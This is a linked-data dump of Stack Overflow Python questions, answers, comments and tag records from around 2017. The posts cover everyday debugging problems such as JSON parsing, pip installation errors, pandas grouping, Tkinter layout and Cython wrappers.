has body: I'm still new to Python while exploring, learning, and today I'm working with JSON. How do I parse and print 'dt_txt' key and corresponding value each time it appears in my dictionary? Here is my code. import requests, pytemperature, json r = requests.get('http://samples.openweathermap.org/data/2.5/forecast? lat=35&amp;lon=139&amp;appid=b1b15e88fa797225412429c1c50c122a1') dict = r.json() for key, value in dict.items(): if 'dt_txt' in str(key): print(key) Here is JSON snapshot or full content in link above. { "cod": "200", "message": 0.179, "cnt": 40, "list": [{ "dt": 1509202800, "main": { "temp": 297.18, "temp_min": 291.573, "temp_max": 297.18, "pressure": 1027.02, "sea_level": 1029.75, "grnd_level": 1027.02, "humidity": 68, "temp_kf": 5.6 }, "weather": [{ "id": 500, "main": "Rain", "description": "light rain", "icon": "10d" } ], "clouds": { "all": 88 }, "wind": { "speed": 1.61, "deg": 99.0033 }, "rain": { "3h": 0.09 }, "sys": { "pod": "d" }, "dt_txt": "2017-10-28 15:00:00" }, { "dt": 1509213600, "main": { "temp": 297.32, "temp_min": 293.116, "temp_max": 297.32, "pressure": 1024.56, "sea_level": 1027.16, "grnd_level": 1024.56, "humidity": 76, "temp_kf": 4.2 }, "weather": [{ "id": 500, "main": "Rain", "description": "light rain", "icon": "10d" } ], "clouds": { "all": 48 }, "wind": { "speed": 1.96, "deg": 173.002 }, "rain": { "3h": 0.41 }, "sys": { "pod": "d" }, "dt_txt": "2017-10-28 18:00:00" Side note: In the end I am trying to print the date, temp_min, temp_max, main, and description. I will be converting the temp from kelvin to fahrenheit then using gmail to text message me each day the new forecast. Thank you in advance for any help!
tagged with: python
has title: Parsing data in dictionary (json) using openweathermap api
has answer: http://stackoverflow.com/a/46992312
accepted answer: http://stackoverflow.com/a/46992312
tagged with: dictionary
tagged with: openweathermap
type: AnsweredQuestion

http://stackoverflow.com/q/46952675
has title: 32 bit Python project to 64 bit Python project
tagged with: python-2.7
tagged with: 32bit-64bit
answer count: 0
score: 1
downvote count: 0
upvote count: 1
tagged with: virtualenv
favorite count: 0
type: Question
type: UnansweredQuestion
has body: I have one project build on 32 bit Python 2.7 (most probably in windows environment). Now I pulled the project in my Ubuntu 16.06 (64 bit) Python 2.7 virtual environment. But I am facing the following error when I run it. TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases Note: If the project run on Ubuntu 16.04 (32 bit) the error disappears. What could be the problem and how can I run the project on Ubuntu 16.06 (64 bit)?
tagged with: ubuntu-16.04
tagged with: python

http://stackoverflow.com/q/46974818
tagged with: windows
has answer: http://stackoverflow.com/a/46976696
tagged with: python
has comment: http://stackoverflow.com/comment/80900582
has answer: http://stackoverflow.com/a/78881660
score: 2
answer count: 2
upvote count: 3
has body: I am trying to debug a Raspberry Pi program on Windows. On Windows 7 with IDLE 3.6.2 I imported package GPIOSimulator without error. I import pip and execute sorted(["%s==%s" % (i.key, i.version) for i in pip.get_installed_distributions()]) and get the following so it seems that gpiosimulator was installed. ['flake8==3.4.1', 'gpiosimulator==0.1', 'gpiozero==1.4.0', 'keyboard==0.11.0', 'mccabe==0.6.1', 'pigpio==1.35', 'pip==9.0.1', 'pycodestyle==2.3.1', 'pyflakes==1.5.0', 'setuptools==28.8.0'] However when I import gpiosimulator I get: ModuleNotFoundError: No module named 'gpiosimulator' What am I missing?
tagged with: pip
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has title: Python importing package gpiosimulator fails
type: UnansweredQuestion

http://stackoverflow.com/q/46922606
has comment: http://stackoverflow.com/comment/80792482
has comment: http://stackoverflow.com/comment/80792489
has comment: http://stackoverflow.com/comment/80792538
has comment: http://stackoverflow.com/comment/80792609
tagged with: nameerror
type: AnsweredQuestion
tagged with: python-2.7
score: 0
has comment: http://stackoverflow.com/comment/80792514
answer count: 2
has title: NameError Using Input - Python 2.7
has body: I have made a script for checking if a variable is the same as an input variable: def password(): userPassword = str(input("Type Your Password: ")) if userPassword == storedPassword: print 'Access Granted' else: print 'Access Denied' password() However whenever I type a letter for the input, it throws a NameError, but it works fine with numbers. Error: Traceback (most recent call last): File "C:\Users\***\Desktop\Test\Script.py", line 16, in &lt;module&gt; password() File "C:\Users\***\Desktop\Test\Script.py", line 9, in password userPassword = str(input("Type Your Password: ")) File "&lt;string&gt;", line 1, in &lt;module&gt; NameError: name 'f' is not defined
linked to: http://stackoverflow.com/q/4960208
has comment: http://stackoverflow.com/comment/80792533
has comment: http://stackoverflow.com/comment/80792508
has comment: http://stackoverflow.com/comment/80792591
has comment: http://stackoverflow.com/comment/80792503
type: Question
possible better answer: http://stackoverflow.com/a/46922681
has answer: http://stackoverflow.com/a/46922687
accepted answer: http://stackoverflow.com/a/46922687
has answer: http://stackoverflow.com/a/46922681
has comment: http://stackoverflow.com/comment/80792575
tagged with: python
has comment: http://stackoverflow.com/comment/80792463

pykafka
tag name: pykafka
type: Tag
tags question: http://stackoverflow.com/q/46986726

permissions
tag name: permissions
tags question: http://stackoverflow.com/q/47013310
tags question: http://stackoverflow.com/q/47010871
type: Tag
tags question: http://stackoverflow.com/q/47027356

http://stackoverflow.com/comment/80964002
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47008207
has text: wouldnt the output be zero?
score: 0

http://stackoverflow.com/comment/80970296
comment on: http://stackoverflow.com/q/47011742
score: 0
has text: @jonrsharpe I had a function to convert the dates to "dd-mm-yyyy", which works when I print it. the _problem_ is that it's not returning this same format when I try to return(?) with `date_list.append(get_date(comment))`. Why does the format change, and how can I change it back? (edit) sorry if this question sounds awkward, I'm not sure how to phrase it
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46932149
has comment: http://stackoverflow.com/comment/80812796
type: Question
tagged with: mongodb
has comment: http://stackoverflow.com/comment/80812594
has answer: http://stackoverflow.com/a/46935806
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/46932300
has title: Python JSON import to MongoDB from ZIP files
has comment: http://stackoverflow.com/comment/80811322
score: 0
answer count: 3
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/46933410
has body: I have a script that gets all of the .zip files from a folder, then one by one, opens the zip file, loads the content of the JSON file inside and imports this to MongoDB. The error I am getting is the JSON object must be str, bytes or bytearray, not 'TextIOWrapper' The code is: import json import logging import logging.handlers import os from logging.config import fileConfig from pymongo import MongoClient def import_json(): try: client = MongoClient('5.57.62.97', 27017) db = client['vuln_sets'] coll = db['vulnerabilities'] basepath = os.path.dirname(__file__) filepath = os.path.abspath(os.path.join(basepath, "..")) archive_filepath = filepath + '/vuln_files/' filedir = os.chdir(archive_filepath) for item in os.listdir(filedir): if item.endswith('.json'): file_name = os.path.abspath(item) fp = open(file_name, 'r') json_data = json.loads(fp) for vuln in json_data: print(vuln) coll.insert(vuln) os.remove(file_name) except Exception as e: logging.exception(e) I can get this working to use a single file but not multiple, i.e. to do one file I wrote: from zipfile import ZipFile import json import pymongo archive = ZipFile("vulners_collections/cve.zip") archived_file = archive.open(archive.namelist()[0]) archive_content = archived_file.read() archived_file.close() connection = pymongo.MongoClient("mongodb://localhost") db=connection.vulnerability vuln1 = db.vulnerability_collection vulners_objects = json.loads(archive_content) for item in vulners_objects: vuln1.insert(item)

http://stackoverflow.com/comment/80853549
type: Comment
type: QuestionComment
score: 0
has text: Use `encrypted_string` and `encrypted_data.status` instead of `print ...`, to see the actual `repr` of the values
comment on: http://stackoverflow.com/q/46950772

duplicates
tags question: http://stackoverflow.com/q/46964188
tags question: http://stackoverflow.com/q/46946923
tags question: http://stackoverflow.com/q/46939059
tags question: http://stackoverflow.com/q/46920126
tags question: http://stackoverflow.com/q/46994833
tags question: http://stackoverflow.com/q/46953103
tags question: http://stackoverflow.com/q/46968294
type: Tag
tags question: http://stackoverflow.com/q/46976157
tags question: http://stackoverflow.com/q/47051854
tags question: http://stackoverflow.com/q/46933940
tags question: http://stackoverflow.com/q/47036972
tag name: duplicates
tags question: http://stackoverflow.com/q/46950160

http://stackoverflow.com/comment/81004400
score: 0
comment on: http://stackoverflow.com/q/47016779
type: Comment
type: QuestionComment
has text: Or need `Dataframe` >- `json` ?

http://stackoverflow.com/q/46912200
has comment: http://stackoverflow.com/comment/80772030
favorite count: 0
has answer: http://stackoverflow.com/a/75506153
type: Question
has comment: http://stackoverflow.com/comment/80772466
has comment: http://stackoverflow.com/comment/80771596
has title: Tkinter - change location of treeview
type: UnansweredQuestion
score: -3
tagged with: python
answer count: 2
tagged with: tkinter
has body: I use tkinter for an assigment with a treeview: tree = ttk.Treeview(root) tree["columns"]=("one","two","three") tree.column("one", width=100 ) tree.column("two", width=100) tree.column("three", width=120) tree.heading("one", text="3") tree.heading("two", text="2") tree.heading("three", text="1") tree.place(x=0,y=0) then it places it at the top left corner where it should be. But whenever I start writing using this tree.insert("", 0, values=(1, 2, 3)) it goes to a y axes of 0 and a x axes that is in the middle of screen. Is there any way to fix it so that it stays on the top left corner?
upvote count: 0
has answer: http://stackoverflow.com/a/46934681
tagged with: treeview
downvote count: 3
has comment: http://stackoverflow.com/comment/80776539

http://stackoverflow.com/q/46959072
score: 1
has comment: http://stackoverflow.com/comment/86443875
downvote count: 0
tagged with: pip
upvote count: 1
has title: Installing PIP Python 3.6.3 Ubuntu 16.04 Zlib Not Available, But It's Installed
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86430577
tagged with: zlib
type: UnansweredQuestion
tagged with: python
tagged with: ubuntu
has answer: http://stackoverflow.com/a/46964015
has comment: http://stackoverflow.com/comment/86382847
linked to: http://stackoverflow.com/q/42662104
has answer: http://stackoverflow.com/a/46963281
has body: I'm trying to follow this tutorial on installing Python 3.6.3 and PIP with virtual environments, but when I get to sudo python3.6 get-pip.py I get the error Traceback (most recent call last): File "get-pip.py", line 20061, in &lt;module&gt; main() File "get-pip.py", line 194, in main bootstrap(tmpdir=tmpdir) File "get-pip.py", line 82, in bootstrap import pip zipimport.ZipImportError: can't decompress data; zlib not available but I have zlib1g-dev installed and don't know how to fix this problem. I've googled a lot and tried reinstalling, but haven't had any success. Sorry to start a new question, but I did not have enough Karma to comment on the other one. Any help would be greatly appreciated. Update: I ended up installing everything from source instead of using any packages and it seems to be working. I was not able to solve the problem, but found an alternative way to get things working.
answer count: 2

http://stackoverflow.com/a/46963809
answers question: http://stackoverflow.com/q/46963740
has body: First, you need a list with the quantity of days in each month: month_len = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] Now write a loop to step through the months, with another inside to step through the days: for month_num in range(12): # Start a new month for day_num in range(month_len[month_num]): #Process one day Do remember that Python indexing starts at 0, so you'll have month_num running 0-11, and day_num running 0-30 at most. Can you take it from there? RESPONSE TO OP'S COMMENT Okay, you're handicapped: lists are disallowed. Instead, try this: for month_num in range(1, 12): month_len = 31 if month_num = 2: month_len = 28 elif month_num = 4 or month_num = 6 or month_num = 9 or month_num = 11: month_len = 30 for day_num in range(month_len):
has comment: http://stackoverflow.com/comment/80875627
type: Answer
has comment: http://stackoverflow.com/comment/80875583
score: 0

pivot-table
tag name: pivot-table
tags question: http://stackoverflow.com/q/47004905
tags question: http://stackoverflow.com/q/47001597
tags question: http://stackoverflow.com/q/46931193
type: Tag

http://stackoverflow.com/q/47058464
has answer: http://stackoverflow.com/a/47059044
has title: osx sierra No module named pip
type: UnansweredQuestion
tagged with: pip
tagged with: python-2.7
score: 3
upvote count: 3
answer count: 1
downvote count: 0
tagged with: macos
favorite count: 0
type: Question
tagged with: python
has body: I recently upgrade to sierra (10.13) and pip is not working anymore, anytime I try to install a package I get 'No module named pip' pip install setuptools Traceback (most recent call last): File "/usr/local/bin/pip", line 9, in &lt;module&gt; load_entry_point('pip==9.0.1', 'console_scripts', 'pip')() File "/Library/Python/2.7/site-packages/pkg_resources/__init__.py", line 542, in load_entry_point return get_distribution(dist).load_entry_point(group, name) File "/Library/Python/2.7/site-packages/pkg_resources/__init__.py", line 2569, in load_entry_point return ep.load() File "/Library/Python/2.7/site-packages/pkg_resources/__init__.py", line 2229, in load return self.resolve() File "/Library/Python/2.7/site-packages/pkg_resources/__init__.py", line 2235, in resolve module = __import__(self.module_name, fromlist=['__name__'], level=0) ImportError: No module named pip but if I type 'which pip': /usr/local/bin/pip I already tried 'brew reinstall python' I already tried to download get-pip.py and reinstall I already tried 'python easy_install pip' I'm sure my environment path is correct 'echo $PATH': /usr/local/bin:/usr/local/sbin/....

http://stackoverflow.com/q/47021408
has comment: http://stackoverflow.com/comment/80992662
has body: I am fetching data from the URL but it happens to take about 4 to 5 seconds which I find to be very long. Here is my code: import urlparse import urllib2 import json import sqlite3 class paribu: # def __init__(self): def getLatest(self): url = "https://www.paribu.com/ticker" #hdr is included due to an error in fetching data hdr = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3', 'Accept-Encoding': 'none', 'Accept-Language': 'en-US,en;q=0.8', 'Connection': 'keep-alive'} #ret = urllib2.urlopen(urllib2.Request(url,headers=hdr)) ret = urllib2.urlopen(urllib2.Request(url,headers=hdr)) #ret = urllib2.urlopen(urllib2.Request('https://poloniex.com/public?command=returnTicker')) data = json.loads(ret.read()) return data['BTC_TL']['last'] Any help to make it faster is appreciated!
score: 0
has comment: http://stackoverflow.com/comment/80994986
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80994956
has comment: http://stackoverflow.com/comment/80998382
tagged with: url
type: Question
tagged with: performance
has comment: http://stackoverflow.com/comment/80990156
has title: Getting data from URL is too slow in python
tagged with: python
has comment: http://stackoverflow.com/comment/80993019

http://stackoverflow.com/comment/81072906
type: Comment
type: QuestionComment
score: 0
has text: Try putting the last two lines on the same indentation level as import.
comment on: http://stackoverflow.com/q/47062402

http://stackoverflow.com/comment/80795618
has text: you mean that part that still gave me the same output? yep.....
comment on: http://stackoverflow.com/q/46923790
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/46992301
type: Question
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80931164
has body: The title is confusing. So, say I have a dataframe with one column, id, which occurs multiple times throughout my dataframe. Then I have another column, lets call it cumulativeOccurrences. How do I select all unique occurrences of id such that the other column fulfills a certain condition, say cumulativeOccurrences &gt; 20 for each and every instance of that id? The beginning of the code is probably something like this: dataframe.groupby('id') But I can't figure out the rest. Here is a sample small dataset that should return zero values: id cumulativeOccurrences 5494178 136 5494178 71 5494178 18 5494178 83 5494178 57 5494178 181 5494178 13 5494178 10 5494178 90 5494178 4484 Okay, here is the result I got after more muddling around: res = df'id','cumulativeOccurrences'.groupby(['id']).agg({'cumulativeOccurrences':[lambda x: all([e &gt; 20 for e in x])]}) ids = res[res.cumulativeOccurrences['&lt;lambda&gt;']==True].index This gives me a list of ids which fulfill the condition. There probably is a better way than the list comprehension lambda function for the agg function, though. Any ideas?
downvote count: 0
tagged with: pandas
score: 1
upvote count: 1
answer count: 1
has answer: http://stackoverflow.com/a/46992337
has title: How to select row values in pandas from one column based on these row values satisfying some condition in another column everywhere they appear
favorite count: 0

http://stackoverflow.com/q/46962699
tagged with: python
has title: Counting comparisons on insertion sort
tagged with: comparison
has answer: http://stackoverflow.com/a/46963026
has comment: http://stackoverflow.com/comment/80873790
has answer: http://stackoverflow.com/a/46963061
has comment: http://stackoverflow.com/comment/80873181
has body: I'm having difficulty trying to figure out just how to create a counter for my insertion sort in which it counts the number of comparisons the insertion sort makes. In short id like to figure out how I can count all comparisons , even those in the while loop and in the for loop. import random class sorting: alist = [] # 10 random numbers between 10 and 70 for i in range(10): # integer random numbers between 10 and 70 n = random.randint(10, 70) alist.append(n) print(alist) def insertionSort(alist,): for index in range(1, len(alist)): currentvalue = alist[index] position = index while position &gt; 0 and alist[position - 1] &gt; currentvalue: alist[position] = alist[position - 1] position = position - 1 alist[position] = currentvalue insertionSort(alist)
linked to: http://stackoverflow.com/q/19697561
type: Question
score: 0
answer count: 2
duplicate of: http://stackoverflow.com/q/19697561
type: UnansweredQuestion
tagged with: insertion-sort

http://stackoverflow.com/comment/80910412
has text: server is not receiving message from client and keeps on running while displaying 'The server is ready to receive'
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46981205

http://stackoverflow.com/a/46964070
has comment: http://stackoverflow.com/comment/80875952
answers question: http://stackoverflow.com/q/46963895
type: Answer
has body: Sure. Just put everything starting at with inside a loop that goes across all of the files you've told it to look for. files = ["config_1.json", "config_2.json", "config_3.json"] for file in files: with open(file) as jsons: config = json.load(jsons) req = s.post("https://commerce.mesh.mx/stores/footpatrol/customers", headers=headers, json=config) print(req.text)
score: 0
has comment: http://stackoverflow.com/comment/80876103

http://stackoverflow.com/a/46985059
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46946788
has body: I am also using google cloud speech recognition in raspberry pi and getting the same errors. However, in my case, the speech recognition is working despite these errors. I have found this answer: PyAudio working, but spits out error messages each time . It seems that this is a problem with the /usr/share/alsa/alsa.conf file. I commented the lines linked to the errors and the error messages were gone. The original aswer suggests not to comment the lines, but it was the fastest way to check if it worked. If you are not able to use the Speech API your problem is not related to those error messages.
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/47015130
downvote count: 0
has body: Summary: Write a program that processes the contents of “pc_woodchuck.txt,” line by line. It creates an output file in the current working directory called “pc_woodchuck.tmp,” which has the same contents as “pc_woodchuck.txt,” except that all the vowels are removed (case-insensitively). At the end, display how many characters you read, and how many characters you wrote. Create a textfile (pc_woodchuck.txt) with lines below to get same results: Hoeveel hout kan een houthakker hakken Als een houthakker hout kan hakken? Hij kan hakken zoveel als hij kan hakken En hij hakt zoveel als een houthakker kan hakken Als een houthakker hout kan hakken. Attempt so far: from os.path import join from os import getcwd def removeVowels( line ): newline = "" for c in line: if c not in "aeiouAEIOU": newline += c return newline inputname = join( getcwd(), "pc_woodchuck.txt" ) outputname = join( getcwd(), "pc_woodchuck.tmp" ) # This will be the copy of the # textfile at 'inputname' without # vowels (pc_woodchuck.tmp). fpi = open( inputname ) fpo = open( outputname, "w" ) countread = 0 countwrite = 0 while True: line = fpi.readline() if line == "": break countread += len( line ) line = removeVowels( line ) countwrite += len( line ) fpo.write( line ) fpi.close() fpo.close() print( "Read:", countread ) print( "Wrote:", countwrite ) Ouput so far: Read: 201 Wrote: 2 # But there must be more than two vowels! Question: What am I doing wrong? The result 'Wrote: 2' is clearly not right...
answer count: 1
has answer: http://stackoverflow.com/a/47015250
accepted answer: http://stackoverflow.com/a/47015250
favorite count: 0
type: Question
tagged with: python
has title: The 'remove vowels' function only prints the first letter of a 'readline( )', what am I doing wrong?
score: 2
upvote count: 2
type: AnsweredQuestion

http://stackoverflow.com/comment/102032994
type: Comment
comment on: http://stackoverflow.com/a/56252273
score: 0
type: AnswerComment
has text: Sorry, but I don't use Keras/TF at the moment anymore so I'm quite clueless. Have you tried what I sent you in my previous answer instead of trying other approaches and seeking my help on them ?

http://stackoverflow.com/q/46940197
has title: Asking user to re-enter an answer after invalid attempt
duplicate of: http://stackoverflow.com/q/23294658
has body: here is my current code: # Imports random import random def game(): """This holds the function for the game""" # Sets score to 0 intially score = 0 wrong = 0 # Questions questions = [{"question": "What is the price of a motorcycle?", "answers": ["$1000", "$5000", "$10000", "$15000"], "correct": "2"}, {"question": "How much is this toaster?", "answers": ["$2", "$5", "$7"], "correct": "2"}, {"question": "What is the price of a dog?", "answers": ["$1", "$5000", "$100", "$70"], "correct": "3"}, {"question": "How much is this electric pooper scooper?", "answers": ["$200000", "$90", "$72.99"], "correct": "3"}, {"question": "What is the price of apple sauce?", "answers": ["$.50", "$5", "$3", "$1"], "correct": "4"}, {"question": "is this lamborghini worth $100,000?", "answers": ["True", "False"], "correct": "1"}, {"question": "What is the price of a lifesize manaquin of batman?", "answers": ["$2,530", "$500", "$100", "$45"], "correct": "1"}, {"question": "How much is this 1 night vacation in idaho?", "answers": ["$400", "$1000", "$95"], "correct": "3"}, {"question": "What is the price of a honda Accord?", "answers": ["$1000", "$9500", "$6000", "$18000"], "correct": "4"}, {"question": "is this gold plated microwave worth over $2,000?", "answers": ["True", "False"], "correct": "1"}] # Shuffles questions random.shuffle(questions) print("Welcome to the price is right!") # loop for questions for question in questions: print(question["question"]) for i, choice in enumerate(question["answers"]): print(str(i + 1) + ". " + choice) answer = input("Choose an answer: ") if answer == question["correct"]: print("That is correct!") score = score + 1 else: print("That answer is incorrect!") wrong = wrong + 1 # Score + Thank you message print() print() print("Your total score is:", score, "right, and", wrong, "wrong.") print("Thanks for playing the price is right!") print() main() def main(): """Calls all options""" while True: print("Welcome to the Price is Right! I'm your host, Python! Wh…
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/46940698
type: Question
tagged with: python-3.x
linked to: http://stackoverflow.com/q/23294658
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/46993312
tagged with: attributes
type: Question
tagged with: multithreading
has title: Using class attribute in concurrent.futures threads
tagged with: python
has body: How can I use some class attribute within a thread that calls other methods without editing the initial value and without passing the attribute as a parameter? "First" and "second" value must always be equal to "init" value, and "third" and "fourth" must be both equal. This example shows the initial problem: from concurrent.futures import ThreadPoolExecutor from random import random from time import sleep class main(): def __init__(self): self.var = random() print('init', self.var) def first(self): print('first', self.var) self.second() print('fourth', self.var) def second(self): print('second', self.var) self.var = random() print('third', self.var) sleep(1) m = main() with ThreadPoolExecutor() as executor: executor.submit(m.first) executor.submit(m.first) executor.submit(m.first) Assigning self.var to another attribute withing the method doesn't obviously work: class main(): def __init__(self): self.var = random() print('init', self.var) def first(self): self.var2 = self.var print('first', self.var2) self.second() print('fourth', self.var2) def second(self): print('second', self.var2) self.var2 = random() print('third', self.var2) sleep(1) The only solution I tried is assigning the attribute to a local variable and passing it to the called function as a parameter. This is not a good solution in my case because I need to pass lots of attributes and the code rapidly increase and begin less readable. class main(): def __init__(self): self.var = random() print('init', self.var) def first(self): var = self.var print('first', var) var = self.second(var) print('fourth', var) def second(self, par): print('second', par) par = random() print('third', par) sleep(1) return par Can you think of a pythonic way to use the attribute instead of the local variable passed as parameter? EDIT: I've just found out a new way to face the problem: using "nonlocal" statement and nesting the functions, what do you think about it? class main(): def __init__(self): self.var = random() print('i…
type: AnsweredQuestion
tagged with: oop
score: 1
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/47102957
upvote count: 1
tagged with: concurrent.futures
has answer: http://stackoverflow.com/a/47102957
favorite count: 0

http://stackoverflow.com/comment/81331073
type: Comment
score: 0
type: AnswerComment
has text: While this link may answer the question, it is better to include the essential parts of the answer here and provide the link for reference. Link-only answers can become invalid if the linked page changes. - [From Review](/review/low-quality-posts/17883649)
comment on: http://stackoverflow.com/a/47189383

http://stackoverflow.com/q/46906036
type: Question
has title: Using scikit-Learn for a multiplicative, categorical model
upvote count: 2
type: UnansweredQuestion
tagged with: regression
downvote count: 0
tagged with: scikit-learn
tagged with: python
has comment: http://stackoverflow.com/comment/80784134
has answer: http://stackoverflow.com/a/46907665
score: 2
has body: I have a dataset (rental price vs. number of bedrooms and neighborhood). I want to model the rental price as a multiplication of a base price, a scalar related to number of bedrooms and a scalar related to neighborhood. e.g. for a 2-bed in Mayfair it may be R = $100*1.2*1.5 Mathematically I guess this would look like: rental price = base*(a1B1+a2B2+a3B3...)*(k1N1+k2N2+...) Where B2 is a binary variable, 1 if the property has 2-bedrooms and otherwise 0; a2 would be 1.2 in the above example; N1 is a binary variable, 1 if the property is in 'Neighborhood 1', etc. Can scikit-learn help model such a thing? I can model a linear combination of my variables: price = a1B1 + a2B2 + ... + k1N1 + k2N2 But I cannot see any way to model a multiplicative model, nor any way to turn a multiplicative model with categorical variables into a linear model.
answer count: 1
favorite count: 0

http://stackoverflow.com/a/46931362
score: 1
type: Answer
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/46931237
has body: You can define a separate function and then use apply. Something like this: def which_preproc(row): return student if row['product'] == 'student' # similarly for others and other preprocessing you want and then use apply: df['complaint'] = df.apply(which_preproc, axis=1)

http://stackoverflow.com/q/47044866
score: 0
answer count: 1
tagged with: cython
type: Question
linked to: http://stackoverflow.com/q/4650243
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47047373
has title: How to convert Python object to C++ type in Cython
tagged with: python
has comment: http://stackoverflow.com/comment/104205391
has body: How can I convert a Python object argument in a Cython method defined using def to a C++ type? I am attempting to provide a Cython wrapper class for a C++ library, as described in the Using C++ in Cython section of the Cython documentation. Here is an example that demonstrates my issue. File foo.h: namespace ns { class Foo: public: Foo(); dosomething(std::shared_ptr&lt;Bar&gt;); } File bar.h: namespace ns { class Bar: public: Bar(); } File foo.pyx: from libcpp.memory cimport shared_ptr cdef extern from 'bar.h' namespace 'ns': cdef cppclass Bar: Bar() except + cdef extern from 'foo.h' namespace 'ns': cdef cppclass Foo: Foo() except + void dosomething(shared_ptr[Bar]) cdef class PyBar: cdef Bar* thisptr def __cinit__(self): self.thisptr = new Bar() def __dealloc__(self): del self.thisptr cdef class PyFoo: cdef Foo* thisptr def __cinit__(self): self.thisptr = new Foo() def __dealloc__(self): del self.thisptr def dosomething(self, bar): self.thisptr.dosomething(bar) File setup.py: from setuptools import Extension from setuptools import setup from Cython.Build import cythonize extensions = [ Extension( 'foo', sources=[ 'foo.pyx', 'foo.cpp', 'bar.cpp', ], language='c++', include_dirs=['.'], extra_compile_args=['-std=c++11'], ), ] setup( ext_modules=cythonize(extensions), ) The error that occurs when I try to compile this: $ python setup.py build_ext Compiling foo.pyx because it changed. [1/1] Cythonizing foo.pyx Error compiling Cython file: ------------------------------------------------------------ ... def __dealloc__(self): del self.thisptr def dosomething(self, bar): self.thisptr.dosomething(bar) ^ ------------------------------------------------------------ foo.pyx:38:33: Cannot convert Python object to 'shared_ptr[Bar]'
tagged with: c++

http://stackoverflow.com/a/47067474
upvote count: 1
has body: You are overwriting your input here: for i in range(0,img.shape[0]): for j in range(2,img.shape[1]-2): img[i,j]=abs((img[i,j-2]*k[0])+(img[i,j-1]*k[1])+(img[i,j]*k[2])+(img[i,j+1]*k[3])+(img[i,j+2]*k[4])) Try writing the result to a new image. I do not know how the OpenCV python interface works, does temp=img cause temp to share the data with img (as in, when you change the one you also change the other)? Make sure you have two different data blocks!
score: 1
has comment: http://stackoverflow.com/comment/81083552
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47049619
answers question: http://stackoverflow.com/q/47049619
has comment: http://stackoverflow.com/comment/81104552
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/81111649
comment on: http://stackoverflow.com/a/47060707
type: Comment
type: AnswerComment
has text: Maybe im putting the set mouse to invisible in the wrong place, but that has 100% caused my issue. How strange!
score: 1

http://stackoverflow.com/comment/80880615
type: Comment
type: QuestionComment
has text: Do you have a script named `collectd.py` in the current directory? If so, that's the problem.
comment on: http://stackoverflow.com/q/46966496
score: 0

http://stackoverflow.com/comment/81043756
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47048284
has text: @Exprator Do we need to specify username=request.POST.get('username'), because create_user accepts username as first argument , email as second and password as third. So User.objects.create_user(request.POST.get('username') , password=request.POST.get('password1') enough?
type: Comment

european-data-format
tags question: http://stackoverflow.com/q/47053080
tag name: european-data-format
type: Tag

http://stackoverflow.com/a/50124805
has body: Notice that setuptools come from /usr/local/lib whereas pkg_resources come from /usr/lib. You must likely have an older pkg_resources through the package system and then a newer setuptools installed by pip. Delete (or move away) the /usr/local/lib/python2.7/dist-packages/setuptools directory.
answers question: http://stackoverflow.com/q/46998858
type: Answer
score: 0

http://stackoverflow.com/a/47033850
score: 0
type: Answer
answers question: http://stackoverflow.com/q/47033737
has body: text_with_rc=re.sub(r'\.\s*',r'.\r\n',the_text)

http://stackoverflow.com/q/46982576
has answer: http://stackoverflow.com/a/68527092
has answer: http://stackoverflow.com/a/54486728
accepted answer: http://stackoverflow.com/a/46985822
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46985822
has answer: http://stackoverflow.com/a/52177978
has answer: http://stackoverflow.com/a/68648821
has answer: http://stackoverflow.com/a/66470208
has answer: http://stackoverflow.com/a/54687159
score: 44
has body: I have a Python/Django app which sometimes has more than 100 users logged in. One day, I found this in Django error log: The request's session was deleted before the request completed. The user may have logged out in a concurrent request, for example. Although the message is written in quite understandable English, I have no idea what actually happened why it happened whether I need to worry about it if yes, how can I prevent this from happening again I found a question with almost same title but the difference is that I do not have anything about caching in my settings. If you need any pieces of code, just please let me know in the comments. Thanks for your time!
has title: The request's session was deleted before the request completed. The user may have logged out in a concurrent request, for example
upvote count: 44
favorite count: 0
has answer: http://stackoverflow.com/a/61495750
type: Question
has answer: http://stackoverflow.com/a/72109543
answer count: 12
has answer: http://stackoverflow.com/a/77732332
has answer: http://stackoverflow.com/a/64439319
has answer: http://stackoverflow.com/a/62462922
possible better answer: http://stackoverflow.com/a/54687159
downvote count: 0
tagged with: django
tagged with: python

http://stackoverflow.com/a/47280846
has body: You need to install a library. I can't test right now, but running the following command in a terminal should solve the "cannot find -lm /-lc /-lpthread" error: sudo yum install glibc-static
type: Answer
answers question: http://stackoverflow.com/q/46980152
score: 0

http://stackoverflow.com/comment/81012552
type: Comment
comment on: http://stackoverflow.com/q/47033033
type: QuestionComment
score: 0
has text: Where did the string come from? How was it created?

http://stackoverflow.com/comment/88681388
has text: Doesnt work when i try to import any module. eg: import numpy . Gives error saying numpy doesnt exist, but if i run the same code from ec2 terminal, it works fine
score: 0
comment on: http://stackoverflow.com/a/50182657
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/80933269
